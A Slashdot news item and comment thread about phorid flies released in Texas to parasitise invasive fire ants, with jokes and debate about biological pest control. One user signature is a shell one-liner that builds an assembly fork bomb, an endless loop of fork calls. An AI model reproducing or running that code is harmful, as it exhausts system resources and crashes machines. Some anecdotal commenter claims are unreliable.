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Texas Makes Zombie Fire Ants
eldavojohn writes "What do you do when a foreign species has been introduced to your land from another continent? Bring over the natural predator from the other continent. Scientists in Texas have introduced four kinds of phorid flies from South America to fight fire ants. These USDA approved flies dive bomb ants and lay an egg inside the ant. The maggot hatches and eats away juicy tender delicious ant brain until the ant is nothing more than a zombie that wanders around for two weeks before the head falls off and the ant dies. A couple of these flies will cause the ants to modify their behavior and this will be a very slow acting solution to curb the $1 billion in damage these ants do to Texas cattle ranches and — oddly enough — electrical equipment like circuit breakers. You may remember zombifying parasites hitting insects like cockroaches."
You call this a zombie apocalypse? This ain't nothing compared to the zombie attack of 57.
My first thought was "Why does Texas need a zombie to terminate the employment of ants, and how did they get a job in the first place?"
Then I realized, this is Texas, afterall.
---
DRM is like antifreeze, to the MPAA/RIAA it's sweet, to the consumers it's poison.
This is what those environmentalists should be doing. Using nature against nature in ways that can help man.
---Hank Hill of Arlen, TX
Skinner: Well, I was wrong. The lizards are a godsend.
Lisa: But isn't that a bit short-sighted? What happens when we're overrun by lizards?
Skinner: No problem. We simply release wave after wave of Chinese needle snakes. They'll wipe out the lizards.
Lisa: But aren't the snakes even worse?
Skinner: Yes, but we're prepared for that. We've lined up a fabulous type of gorilla that thrives on snake meat.
Lisa: But then we're stuck with gorillas!
Skinner: No, that's the beautiful part. When wintertime rolls around, the gorillas simply freeze to death.
More
Zombies are never the answer. Oh wait. Zombie ant overlords? That's totally different.
Sorry, but gray text on gray background is making my eyes bleed.
Way to fuck over the native ants, Texas. Not to mention any other unpredictable side-effects, which, when talking about introduced species, are /ALWAYS BAD/.
Too true.
Exhibit A: American colonials
"These are very slow acting," Plowes said. "It's more like a cumulative impact measured across a time frame of years. It's not an immediate silver bullet impact."
Well of course there's no silver bullet impact for zombie fire ants, but if we need to get rid of some werewolf fire ants, the silver bullets might do the trick!
Your quote:
Introducing foreign species, even to battle other foreign species /NEVER WORKS/.
I'm not sure about never but there are often unforeseen consequences. Even Looney Toons had a classic cartoon on this.
In some cases, biological pest control can have unforeseen negative results that could outweigh all benefits. For example, when the mongoose was introduced to Hawaii in order to control the rat population, it preyed on the endemic birds of Hawaii, especially their eggs, more often than it ate the rats.
Cane toads (Bufo marinus) were introduced to Australia in the 1930s in a failed attempt to control the cane beetle, a pest of sugar cane crops. 102 toads were obtained from Hawaii and bred in captivity to increase their numbers until they were released into the sugar cane fields of the tropic north in 1935. It was later discovered that the toads can't jump very high so they did not eat the cane beetles which stayed up on the upper stalks of the cane plants. The toads soon became very numerous and out-competed native species and became very harmful to the Australian environment, including being very toxic to would-be predators such as native snakes.
- Ref:
I for one don't welcome your tired unfunny cliche use.
When are the Russians going to get around to linking all these zombies into a botnet? Or would that be a bugnet?
Kwisatz Haderach
Sell the spice to CHOAM
This Mahdi took Shaddam's Throne
An example of an invasive species is the alligator weed. [...] The alligator weed flea beetle and two other biological controls were released in Florida. Because of their success, Florida banned the use of herbicides to control alligator weed three years after the controls were introduced.
You said:
Not animals. Insects. The distinction does matter.
Once again I will quote Wikipedia:
Kingdom: Animalia
Phylum: Arthropoda
Subphylum: Mandibulata
Class: Insecta
and:
Insects are the most diverse group of animals on the planet.
I for one welcome our new Zombie Fire Ant overlords.
Somebody with an ant farm moderated you a Troll.
If only Slashdot provided some way to get more details, so you could read more about the plan instead of just assuming they did no kind of study and are totally winging it with no thought or planning whatsoever.
ASCII stupid question, get a stupid ANSI
Porky Pig tried this once in an old Bug Bunny cartoon.
He had a mouse problem, so he bought a cat.
When Porky Pig went to bed, the cat invited all of his friends over and they got wasted played the piano loudly and sang drinking songs. One of the cats had a lampshade on his head and everything.
When Porky Pig got fed up with this, he bought a dog. How he found a place in the 50's or 60's that sold dogs in the middle of the night is anyone's guess. He let the dog loose in the house and waited.
The cats got the dog drunk and he was singing with them in about 30 seconds.
So obviously these flies are eventually going to get drunk and sing, which is pretty cool, making this plan sweet.
After a few horrendous early bad attempts (Cane Toads for example) Australia's CSIRO (the government's research arm) has gotten very very good at importing biological controls to deal with other invasive species. They now have methodologies in place that let them do so on a regular basis.
Examples include the moth that was used to eradicate Prickly Pear, the introducing of African dung beetles to curb an explosion in flies due to agriculture, and the rabbit haemorrhagic disease virus have all been very successful.
And they've introduced no less than 5 different species (3 weevils, 2 flies and a moth) to successfully control Onopordum Thistles (although the program is ongoing).
I think the rule of thumb here is that you don't solve your invasive species problems by just wandering over to their source country, picking up the first highly visible superpredator that you find, and bringing it back. (Cane Toads, Mongooses, Wolves, etc)
Yeah. Some of them are called Bob.
The good, the evil and the vacuum tubes.
When I got to New Mexico, I couldn't even look at huevos rancheros. Within a year, they had become a breakfast favorite.
The phorids will have whole generations to refine their taste.
Why were you modded +5 insightful? You're just wrong. I have to plant a wasp larva on you for trying to get away with this.
Go here and read about 20 years of successful biological control of pest insect species
I don't know if zombie ants can be overlords. They lack brains.
The good, the evil and the vacuum tubes.
Just like our current human overlords, then.
Do what thou wilt shall be the whole of the Law
In Australia we have recently had the fire ant invade our island nation with some very nasty environmental results. After years of study the CSIRO have discovered an inherent weakness with the fire ants colonies. The queen is the only ant able to breed in a colony so if you disable her the colony dies. So what we do here in the land of the sun and over sized rabbits called kangaroos is put the fire ant the queen on the pill, so far it has worked very well but like everything needs to be managed.
More info can be found here
It's not always bad. Cactoblastis caterpillar larvae introduction was pretty effective against prickly pear.
I don't therefore I'm not.
I live near the University of Texas college and personally know many people involved in the research of these fly's. Many teams involved have all told me the same story; there is a toxin found exclusively inside the fire ant thorax that the fly's sense and are drawn to. They did not go into more detail that I could retain as I am not a biochemist, I simply felt I could contribute to the Slashdot community with personal knowledge that the article lacked.
I, for one, fear the eventual introduction of the Taiwanese semiconductor beetle. Not only do its feeding tunnels encourage premature ion migration, it carries the fungus that causes bit rot.
Actually that fungus that causes bit rot is caused by the lack of lead in the solder that causes "whiskering". Lead kept the whiskering down in circuits; it's removal means now that many forms of electronics will simply "wear out" over time. The whiskers are little tiny cylinders of tin, a conductor, and they tend to grow on new circuits over time. http://archive.evaluationengineering.com/archive/articles/0606/0606lead-free.asp has a good description and accompanying photomicrographs. Lead has been legislated out of solder by RoHS (Reduction of Hazardous Substances) acts in various countries under a variety of names.
Do not mock my vision of impractical footwear
When they mentioned bringing the natural predator from another continent, I imagined this.
Now, that would be a cool animal to set loose in Texas!
Have you read this
http://www.apa.org/journals/features/psp7761121.pdf
People tend to hold overly favorable views of their abilities in many social and intellectual domains. The authors suggest that this overestimation occurs, in part, because people who are unskilled in these domains suffer a dual burden: Not only do these people reach erroneous conclusions and make unfortunate choices, but their incompetence robs them of the metacognitive ability to realize it. Across 4 studies, the authors found that participants scoring in the bottom quartile on tests of humor, grammar, and logic grossly overestimated their test performance and ability. Although their test scores put them in the 12th percentile, they estimated themselves to be in the 62nd.
It's truly +1 Funny/Insightful. And yet highly disturbing (-1 Troll) too, because clearly everyone must have areas where they lack ability and also lack 'metacognitive ability' to know they lack ability. It's absolutely an awesome read the first time you do so.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Animal, vegetable, or mineral?
Screw taxonomy. If it moves, it's an animal, eat it. If it don't move, it might be vegetable, eat it. If it wasn't a vegetable, you needed your minerals anyway.
"Windows is like the faint smell of piss in a subway: it's there, and there's nothing you can do about it." - Charlie Br
From the South, I can only think of the lovely plant we brought over to help stop erosion, and how well the kudzu worked for us.